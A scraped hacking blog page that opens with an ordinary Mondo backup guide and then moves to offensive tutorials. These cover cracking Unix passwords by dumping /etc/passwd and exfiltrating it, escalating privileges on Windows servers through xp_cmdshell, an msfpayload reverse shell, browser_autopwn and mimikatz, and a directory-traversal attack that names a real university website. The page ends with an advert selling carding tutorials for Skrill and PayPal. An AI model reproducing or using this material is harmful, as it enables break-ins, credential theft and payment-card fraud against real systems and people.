ELITES

Tuesday, 6 January 2015

BACK UP YOUR SYSTEM WITH MONDO

BACK UP YOUR SYSTEM WITH MONDO

Backing up your system is extremely important, but having usable backups is even more vital. If your server or workstation has a hardware failure and you need to reconstruct the machine, restoring from homegrown backup solutions can be painful and time-consuming.

A solution called Mondo can help alleviate some of this pain. It creates a full system backup of your machine in any form you like, including direct to CD, ISO images, etc.

When you burn these ISO images to CD, they become bootable restore CDs. If you have a problem with your system, you can simply insert the first CD of the backup set, boot from it, and you'll have a variety of options for how to restore your data.

With Mondo, instead of reinstalling the OS and then applying backup files on top of it to reconstruct your previous system, you can take the snapshot you have on CD and build the system back to where it was when you performed the backup.

Using Mondo is also very straightforward. Here's a simple way to use it:

# mondoarchive -Oi -d /home/mondo -E "/home/mondo" -l LILO -f /dev/hda

This tells Mondo to perform a full backup of the file system to ISO images and to place the resulting images in the /home/mondo directory. The -E option tells Mondo to exclude /home/mondo from the backup, which prevents backups from growing larger than necessary by backing up old backups. Finally, it tells Mondo you're using LILO as your bootloader and that the bootloader is on /dev/hda.

After Mondo creates the ISOs, you'll have a set of ISO images in /home/mondo that are ready to burn to CD. Be aware, however, that you'll need plenty of room to store the ISO images, depending largely on the size of your system.

For more information, check out the Mondo home page.
http://ct.com.com/click?q=19-BL90I2rrge10MLlWzu33ILoCChr%7E

Cracking Unix Passwords

Introduction-

To gain access into a Unix system, its necessary to have a username and a password, and what better place to find them than from /etc/passwd :-) This is the file which holds the list of usernames and passwords in Unix, aswell as other kind of information in relation which each username... The problem is that these passwords are encrypted. Let see the appearence of one of these files:

    root:XY53yyh3gMvvE:0:3::/root:/bin/sh
    daemon:*:1:5::/:/bin/sh
    bin:*:2:2::/bin:/bin/sh
    adm:*:4:4::/usr/adm:/bin/sh
    uucp:*:5:3::/usr/spool/ucppublic:/usr/lib/uucp/uucico
    lp:*:9:7::/usr/spool/lp:/bin/sh
    hpdb:*:27:1:ALLBASE:/:/bin/sh
    user1:g.um3CCF4uVIk:247:25:DArcy
    Martín:/disc/users/pepito:/bin/csh
    user2:RckFa8/idTCFg:248:24:Billy Corgan:/disc/users/fulanito:/bin/csh
    user3:axX/MxQZr37tA:0:3:James Iha:/disc/users/menganito:/bin/csh

As you can see, each line corresponds to a user, and contains ( in order ) the username, the encrypted password, the user_id, the group_id, the real name, the home directory and the shell loaded at the startup... The format may change slightly, but basically it is this one. As you can see, each field is separated from the previous and next field by a colom " : " In some lines, the password field is " * " This encrypted password is invalid, that is, they dont belong to an existing password, therefore you may not access those accounts. Another detail we must take into consideration are all those users whose user_id is "0", as ROOT. These users are ROOT by all means, therefore, they have the same rights as the actual ROOT. As you can observe, "user3" has a user_id=0, which means it is a ROOT. In a similar way, the users without user_id=0 may still have access to some ROOT actions by the fact that they belong to the ROOT group.

Ok, now we have to "dencrypt" the passwords. The problem is that Unix uses a one-way encryption mechanism, which means it cant be "dencrypted". Then... how does the LOGIN checks whether the password is correct? What happens is that the system encrypts the password that we enter and it is compared with the text string belonging to the actual password in the passwd file. If they are identical then the password is correct and the system lets you in. The way of attacking a unix passwd file is precisely the same as LOGIN does. What the cracker does is encrypt maaaaaaaaaaaaany words and check if any of the encrypted words match with the encrypted password in the passwd file. If they match, we have our password! And if not, we will try on with a different word. For doing this we need three things: 1- A word list to encrypt and check. 2- A List with the encrypted passwords (passwd file) 3- A program which does all the job.

STEP ONE: Obtaining the Word List

Be creative. You may write your own word list with names, surnames, famous people, numbers, months, bad words, companies, server names and the so used sex, love and god. Anything is valid as long as you think it may be used as a password in the system you want to hack. Luckly, you may find in internet word lists waiting to be checked. One of the most interesting places for obtaining word lists is: ftp://sable.ox.ac.uk/pub/wordlists/. There are many wordlists, but it is slightly slow. Fortunately, there is a mirror of this server in Spain, at ftp://sun.rediris.es/mirror/sable/wordlists/ which goes much more quicker, specially if your internet connection is inside the spanish network. Anyway, youy may always search in Yahoo or Lycos for "dictionar" or by "wordlis" and you'll find many sites with wordlists. A good tip is to try with the names and surnames of the users of the system you are trying to crack.... There is maaaaaaany people who uses as password their own names or their girlfriend's name. So a word list with the names and surnames of the users is a good chance of obtaining passwords. Another word which is a common a password is the username itself. Also many people uses "password". It is a good recommendation to extract all of the words inside the passwd file and try them as password. For doing this there are many utilities, some of them are even distributed together with the cracker. I dont think you'll find very difficult to find a program which extracts the names, surnames and usernames of the users in a /etc/passwd file. There are even utilities which their only function is to make word lists.

STEP 2: Obtaining the password list

This is slightly more difficult. If you have an account in the system you want to hack, you may always do a "cat /etc/passwd" If they dont have Shadow Passwords or NIS, a list like the one you have seen at the beginning will appear. Else, you will see somehing like this:

root:XY53yyh3gMvvE:0:3::/root:/bin/sh
daemon:*:1:5::/:/bin/sh
bin:*:2:2::/bin:/bin/sh
adm:*:4:4::/usr/adm:/bin/sh
uucp:*:5:3::/usr/spool/ucppublic:/usr/lib/uucp/uucico
lp:*:9:7::/usr/spool/lp:/bin/sh
hpdb:*:27:1:ALLBASE:/:/bin/sh
user1:g.um3CCF4uVIk:247:25:DArcy
Martín:/disc/users/pepito:/bin/csh
user2:RckFa8/idTCFg:248:24:Billy Corgan:/disc/users/fulanito:/bin/csh
user3:axX/MxQZr37tA:0:3:James Iha:/disc/users/menganito:/bin/csh

where the password will be something like "*" or "x" or anything which contains an asterisc "*" as "*NOPASSWORD*". In this case, the file /etc/passwd is of no use, as Shadow Passwords or NIS is installed. Then, you may try doing a "ypcat /etc/passwd" With this you may probably find via screen the real list of passwords. In the event you dont have enough rights to run "ypcat", or if it isnt installed or if after doing it junk appears again, you will have to make use of other programs to obtain the passwords. I reccommend you PWGET. It is very easy to find, just look for PWGET.TAR.GZ or PWGET.TGZ in any archie, or in Lycos or in Yahoo. Sure you will find it. Once you have it, you just need to upload it to the server you want to hack, unzip it ("gzip -d -f PWGET.TGZ"), untar it ("tar -x -f PWGET.TAR"), compile it ("cc -o pwget pwget.c") and run it ("./pwget") by which you will see in the screen the password list. If you want the list in a file, you just have to redirect the screen output into a file:

$ ./pwget > file
or else
$ ypcat /etc/passwd > file
or else
$ cat /etc/passwd > file

The same way you will redirect the output under DOS... Now, for downloading the file you may use FTP, Kermit or the ZModem/Ymodem/Xmodem. For downloading the file via kermit or Zmodem you will need that your telnet program supports this protocols (as NetTerm), and that the Unix machine also does (that is, it has the neccesary file installed). Kermit is usually installed in all systems:

$ kermit
kermit> set file type ascii (or "text", depends on systems)
kermit> set send pack 1000
kermit> set rec pack 1000
kermit> set file type 2 (or 3, as you prefer)
kermit> send fichero... Download->Kermit
CTRL+C
kermit> quit
$

You may also use Zmodem, if it is installed:

$ sz fichero... Download->ZModem
$

Step 3: Cracking the password list

Now that you have the password list and several word lists, you need a program which encrypts the words and afterwards checks them with the encrypted passwords in the password list. There are many programs you may use. Now I will briefly comment the characteristics of the programs (an their names, so that you may look for them in the net), but first I would like to give some tips for obtaining the passwords in less time.

Delete from the password file all lines whose password is invalid ("*", "*NOPASSWORD*", etc)

Arrange the lines of the password file by the two first characters of the encrypted password. Some of the programs I comment, do this automatically, but some dont. With these two steps you may save a lot of time depending in the cracker you use.

Those users who have the password field empty

(user1::101:1:Manolito:/usr/user1:/bin/sh) dont have a password at all, therefore they are lines you may delete from the file. When you login, simply by typing the username you will have access. And in the event it asks you for a password, press ENTER without writing a password. :-)

CRACKERS:

Cracker Jack 1.4 (JACK14*.*, CJACK*.*) It is the most extended in use, unleast as far as I know. It is almost in every hacking site of internet. Works under DOS and OS/2, and is quite fast. In the same "distribution" there are many utilities which treat the word list.

You may search for it in the web.

Brute 2.00 (BRUTE*.*) Another cracker quite popular even beeing so slow. I think there is a faster version, but uses an encrypting algorythm which isnt completely correct (although it is faster), and therefore it doesnt crack all passwords it should. I havent found any copy of this version, which means i wasnt able to test it. Works under DOS.

StarCrack 0.64ß (STARCRAK*.*) This is a cracker with plenty of options, which allows to handle words while they are tested. It is quicker than Cracker Jack, works under DOS and is very complete. It is quite new, and is also a Beta, so i expect a much better version comming soon... :-? Has plenty of options and allows doing all kinds of things.

You can find it at the StarCrack homepage: http://www.chez.com/thes/starcrak.html

Hades 1.00a (HADES*.*) Another cracker for DOS. This works different from the rest of crackers. Instead of encrypting a word and checking it against the passwords of all users, it encrypts all the words and then checks them with the password of a user. Once it has finished with one user, it follows on with the next one. Due to this way of working, it makes too much I/O of disk, which slows down the whole proccess. It's output is slightly improved if we arrange the password file by the encrypted password field, as this way the cracker will check various users at the same time. It can also be improved by having all the lists (password and word lists) in memory in a virtual disc.

Guess 2.1 (GUESS*.*) Cracker for DOS, extremelly slow. It has memory problems if we try to use it with password files with more than 1000 lines

PCUPC 2.01 (PCUPC*.*) Another cracker for DOS. This one has memory problems if we try to crack password files with more than 600/700 lines.

Killer Cracker 9.5 (DJKC95*.*, KC*.*) As Guess, a very slow cracker for DOS and which gives problems with password files longer than 1000 lines.

Xit 2.0 (XIT20*.*) Cracker for DOS. It is the slowest i've found. As its name says, it is a SHIT! :-)

HellFire Cracker 1.3 (HC130*.*) Cracker for Dos. Requires a 386 with co-processor so it can work, but for some strange reason it hangs in my pentium and in my 486, therefore i cant tell you how good it is. Maybe if you have a 386 you'll be able to use it satisfactory. The program includes a 387 emulator, just in case you dont have a co-processor. Any way, it is a very old program which surely wont be very fast.

John the ripper 1.4 (UCFJOHN3*.*) Cracker for DOS/Win32/Linux and any other system, as it is distributed together with the source code. Works in a similiar way to Cracker Jack but includes more options and is quite fast. It is a new release (when the doc was written :) courtesy of UCF (United Cracking Force) and may be a bit difficult to find, but it is really useful and fast. It doesnt have as many options as the Star Crack, but is much faster. It even allows many options for treating the word list you use...

This is the homepage of John the Ripper: http://www.false.com/security/john/

Here you have a table comparing all the different crackers. In the same machine and with the same word and password lists. Some of them took too long, and I aborted the proccess of cracking the passwords. In this cases, I calculated the estimated time they will take to finish according to the time taken (1 hour) and the amount of words checked for that time.
These are the results, ordered by speed:

Wednesday, 3 December 2014

Hacking Windows Servers - Privilege Escalation

Most of us here can hack websites and servers. But what we hate the most is an error message- Access Denied! We know some methods to bypass certain restrictions using the symlink, privilege-escalation using local root exploits and some similar attacks.

But, these get the job done only on Linux servers. What about windows servers?

Here are some ways to bypass certain restrictions on windows servers or getting SYSTEM privileges.

Using "sa" account to execute commands by MSSQL query via 'xp_cmdshell' stored procedure.
Using meterpreter payload to get a reverse shell over the target machine.
Using browser_autopwn. (Really...)
Using other tools like pwdump7, mimikatz, etc.

Using the tools is an easy way, but the real fun of hacking lies in the first three methods I mentioned above.

1. Using xp_cmdshell-

Most of the times on windows servers, we have read permission over the files of other IIS users, which is needed to make this method work.

If we are lucky enough, we will find login credentials of "sa" account of MSSQL server inside web.config file of any website.

You must be wondering why only "sa"?

Here, "sa" stands for Super Administrator and as the name tells, this user has all possible permissions over the server.

The picture below shows the connection string containing login credentials of "sa" account.

Using this, we can log into MSSQL server locally (using our web backdoor) & as well as remotely. I would recommend remote access because it does not generate webserver logs which would fill the log file with our web backdoor path.

So, after getting the "sa" account, we can login remotely using HeidiSQL

HeidiSQL is an awesome tool to connect to remote database servers. You can download it here.

After logging into MSSQL server with sa account, we get a list of databases and their contents.

Now we can execute commands using MSSQL queries via xp_cmdshell. (With administrator privileges)

Syntax for the query is-

xp_cmdshell '[command]'

For example, if I need to know my current privileges, I would query-

xp_cmdshell 'whoami'

This shows that I am currently NT Authority/System, which most of us know is the highest user in the windows user hierarchy.

Now we can go for some post exploitation like enabling RDP, adding accounts and allowing them to access RDP.

Note: If the server does not have xp_cmdshell stored procedure, you can install it yourself. There are many tutorials for that online.

2. Meterpreter Payload-

This method is quite easy and comes useful when we cannot read files of other users, but we can execute commands.

Using metasploit, generate a reverse shell payload binary.

For example-

msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe

Now we will upload this executable to the server using our web backdoor.

Run multi/handler auxiliary at our end. (Make sure the ports are forwarded properly)

Now it's time to execute the payload.

If everything goes right, we will get a meterpreter session over the target machine as shown below-

We can also use php, asp or other payloads.

3. Browser Autopwn-

This seems odd, as a way of hacking a server. But I myself found this as a clever way to do the job, especially in scenarios where we are allowed to execute commands, but we cannot run executables (our payloads) due to software restriction policies in domain environment.

Most of the windows servers have outdated Internet Explorer and we can exploit them if we can execute commands.

I think it is clear by now that what I'm trying to explain ;)

We can start Internet Explorer from command line and make it browse to a specific URL.

Syntax for this-

iexplore.exe [URL]

Where URL would our server address which would be running browser_autopwn. After that we can use railgun to avoid antivirus detection.

4. Using readily available tools-

Tools like pwdump and mimikatz can crack passwords of windows users.

#pwdump7 gives out the NTLM hashes of the users which can be cracked further using John the Ripper.

The following screenshot shows NTLM hashes from pwdump7:

#mimikatz is another great tool which extracts the plain text passwords of users from lsass.exe. The tool is some language other than English so do watch tutorials on how to use it.

Following picture shows plain text passwords from mimikatz:

You can google about them and learn how to use these tools and what actually they exploit to get the job done for you.

I hope you can now exploit every another windows server.

Happy Hacking :)

- See more at: http://www.rafayhackingarticles.net/2013/04/hacking-windows-servers-privilege.html#sthash.j8wLHiaQ.dpuf

Hack a website using Directory Transversal attack?

What is root directory of web server ?

It is a specific directory on server in which the web contents are placed and can be seen by website visitors. The directories other that root may contain any sensitive data which administrator do not want visitors to see. Everything accessible by visitor on a website is placed in root directory. The visitor can not step out of root directory.

what does ../ or ..\ (dot dot slash) mean ?

The ..\ instructs the system to go one directory up. For example, we are at this location C:\xx\yy\zz. On typing ..\ , we would reach at C:\xx\yy.

Again on typing ..\ , we would rech at C:\xx .

Lets again go at location C:\xx\yy\zz. Now suppose we want to access a text file abc.txt placed in folder xx. We can type ..\..\abc.txt . Typing ..\ two times would take us two directories up (that is to directory xx) where abc.txt is placed.

Note : Its ..\ on windows and ../ on UNIX like operating syatem.

What is Directory Transversel attack?

Directory Traversal is an HTTP exploit which allows attackers to access restricted directories and execute commands outside of the web server's root directory.

The goal of this attack is to access sensitive files placed on web server by stepping out of the root directory using dot dot slash .

The following example will make clear everything

Visit this website vulnerable to directory transversal attack

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php

This webserver is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains configration files of programs that run on system. Some of the files are passwd,shadow,profile,sbin placed in 'etc' directory.

The file etc/passwd contain the login names of users and even passwords too.

Lets try to access this file on webserver by stepping out of the root directory. Carefully See the position of directories placed on the webserver.

We do not know the actual names and contents of directories except 'etc' which is default name , So I have
marked them as A,B,C,E or whatever.

We are in directory in F accessing the webpages of website.

Lets type this in URL field and press enter

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd

This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing

Now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd

Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing.

Now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd

Now this will step up two directories (to directory D ) and look for 'etc' but again it will return nothing.

So by proceeding like this, we we go for this URL

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd

It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.
To understand the contents of 'passwd' file, visit http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format

You can also view etc/profile ,etc/services and many others files like backup files which may contain sensitive data. Some files like etc/shadow may be not be accessible because they are accesible only by privileged users.

Note- If proc/self/environ would be accessible, you might upload a shell on server which is called as Local File Inclusion.

Counter Measures

1. Use the latest web server software
2. Effectively filter the user's input - See more at: http://www.rafayhackingarticles.net/2010/09/hack-website-using-directory.html#sthash.vCsFkxiF.dpuf

Friday, 26 September 2014

Carding Tutorial - Skrill Carding (100% Proven)

Hi Everybody,

Carding is really fun to me. It's the great source of hidden welth. Really vast of wealth. But, you have to learnt he real and working way for carding. Unless you have proper knowledge about carding, you can't Bank amount from it.

So, I have come here to share the proper way to carding. I have proven sites of carding. I have vast of sites & BINS lists that works like a charm. NON VBV is the major point. Anyway, but for this time, I wanna tell you about SKRILL CARDING.

Well. You know SKRILL INC. is the online payment system like PayPal. Now a days, Skrill has a lot of consumers & millions of websites are using SKRILL for transactions. The great news is, SKRILL allows us CARDING...lol, But you have to know the proper way & you should have the necessary tools & right directions. And I have the easiest way for carding on SKRILL as well as PAYPAL.

Here is my recent SKRILL carding proof. I have carded $406.58 for a single site on the same day. The funny factor is I have not even verified my email.

Yes, I want to share the perfect way to you. But, for less publicity I want to charge the tutorial only for $25 BTC/ LiteCoin or Perfect Money. You will get the tutorial PDF just after your Payment. The tutorial includes...

- Non VBV BINS that works with Skrill
- The perfect way for carding Skrill
- Necessary Tools that will be used for Carding Skrill
- Safety that you should maintain for secirity reasons
- Easiest way to Bank the Skrill money without losting a single penny

Just try my tutorial. You'll get 100% Successful & Instant Results.

24/7 Support from me & my team:
Contact right now & get the Training for $25 on BTC (BitCoin)/ LiteCoin or Perfect Money.

High balanced paypal accounts upDATED!

Sunday, 21 September 2014

Carding Tutorial

This summary is not available. Please click here to view the post.